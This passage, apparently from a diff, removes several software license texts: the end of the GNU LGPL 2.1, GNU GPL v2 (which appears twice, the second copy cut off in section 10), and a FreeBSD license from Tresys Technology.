-    e) Verify that the user has already received a copy of these
-    materials or that you have already sent this user a copy.
-
-  For an executable, the required form of the "work that uses the
-Library" must include any data and utility programs needed for
-reproducing the executable from it.  However, as a special exception,
-the materials to be distributed need not include anything that is
-normally distributed (in either source or binary form) with the major
-components (compiler, kernel, and so on) of the operating system on
-which the executable runs, unless that component itself accompanies
-the executable.
-
-  It may happen that this requirement contradicts the license
-restrictions of other proprietary libraries that do not normally
-accompany the operating system.  Such a contradiction means you cannot
-use both them and the Library together in an executable that you
-distribute.
-
-  7. You may place library facilities that are a work based on the
-Library side-by-side in a single library together with other library
-facilities not covered by this License, and distribute such a combined
-library, provided that the separate distribution of the work based on
-the Library and of the other library facilities is otherwise
-permitted, and provided that you do these two things:
-
-    a) Accompany the combined library with a copy of the same work
-    based on the Library, uncombined with any other library
-    facilities.  This must be distributed under the terms of the
-    Sections above.
-
-    b) Give prominent notice with the combined library of the fact
-    that part of it is a work based on the Library, and explaining
-    where to find the accompanying uncombined form of the same work.
-
-  8. You may not copy, modify, sublicense, link with, or distribute
-the Library except as expressly provided under this License.  Any
-attempt otherwise to copy, modify, sublicense, link with, or
-distribute the Library is void, and will automatically terminate your
-rights under this License.  However, parties who have received copies,
-or rights, from you under this License will not have their licenses
-terminated so long as such parties remain in full compliance.
-
-  9. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Library or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Library (or any work based on the
-Library), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Library or works based on it.
-
-  10. Each time you redistribute the Library (or any work based on the
-Library), the recipient automatically receives a license from the
-original licensor to copy, distribute, link with or modify the Library
-subject to these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties with
-this License.
-
-  11. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Library at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Library by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Library.
-
-If any portion of this section is held invalid or unenforceable under any
-particular circumstance, the balance of the section is intended to apply,
-and the section as a whole is intended to apply in other circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  12. If the distribution and/or use of the Library is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Library under this License may add
-an explicit geographical distribution limitation excluding those countries,
-so that distribution is permitted only in or among countries not thus
-excluded.  In such case, this License incorporates the limitation as if
-written in the body of this License.
-
-  13. The Free Software Foundation may publish revised and/or new
-versions of the Lesser General Public License from time to time.
-Such new versions will be similar in spirit to the present version,
-but may differ in detail to address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Library
-specifies a version number of this License which applies to it and
-"any later version", you have the option of following the terms and
-conditions either of that version or of any later version published by
-the Free Software Foundation.  If the Library does not specify a
-license version number, you may choose any version ever published by
-the Free Software Foundation.
-
-  14. If you wish to incorporate parts of the Library into other free
-programs whose distribution conditions are incompatible with these,
-write to the author to ask for permission.  For software which is
-copyrighted by the Free Software Foundation, write to the Free
-Software Foundation; we sometimes make exceptions for this.  Our
-decision will be guided by the two goals of preserving the free status
-of all derivatives of our free software and of promoting the sharing
-and reuse of software generally.
-
-			    NO WARRANTY
-
-  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
-WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
-EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
-OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
-KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
-LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
-THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
-WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
-AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
-FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
-CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
-LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
-RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
-FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
-SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
-DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-           How to Apply These Terms to Your New Libraries
-
-  If you develop a new library, and you want it to be of the greatest
-possible use to the public, we recommend making it free software that
-everyone can redistribute and change.  You can do so by permitting
-redistribution under these terms (or, alternatively, under the terms of the
-ordinary General Public License).
-
-  To apply these terms, attach the following notices to the library.  It is
-safest to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least the
-"copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the library's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Lesser General Public
-    License as published by the Free Software Foundation; either
-    version 2.1 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Lesser General Public License for more details.
-
-    You should have received a copy of the GNU Lesser General Public
-    License along with this library; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-Also add information on how to contact you by electronic and paper mail.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the library, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the
-  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
-
-  <signature of Ty Coon>, 1 April 1990
-  Ty Coon, President of Vice
-
-That's all there is to it!
-
-
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
-All files are licensed under the FreeBSD license, excepet for thid party
-components, which are subject to their respective licenses as specified in
-their source files.
-
-                          FreeBSD License
-
-Copyright 2011 Tresys Technology, LLC. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-   1. Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimer.
-
-   2. Redistributions in binary form must reproduce the above copyright notice,
-      this list of conditions and the following disclaimer in the documentation
-      and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY TRESYS TECHNOLOGY, LLC ``AS IS'' AND ANY EXPRESS
-OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
-EVENT SHALL TRESYS TECHNOLOGY, LLC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
-INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
-BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
-LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
-OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
-ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-The views and conclusions contained in the software and documentation are those
-of the authors and should not be interpreted as representing official policies,
-either expressed or implied, of Tresys Technology, LLC.
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
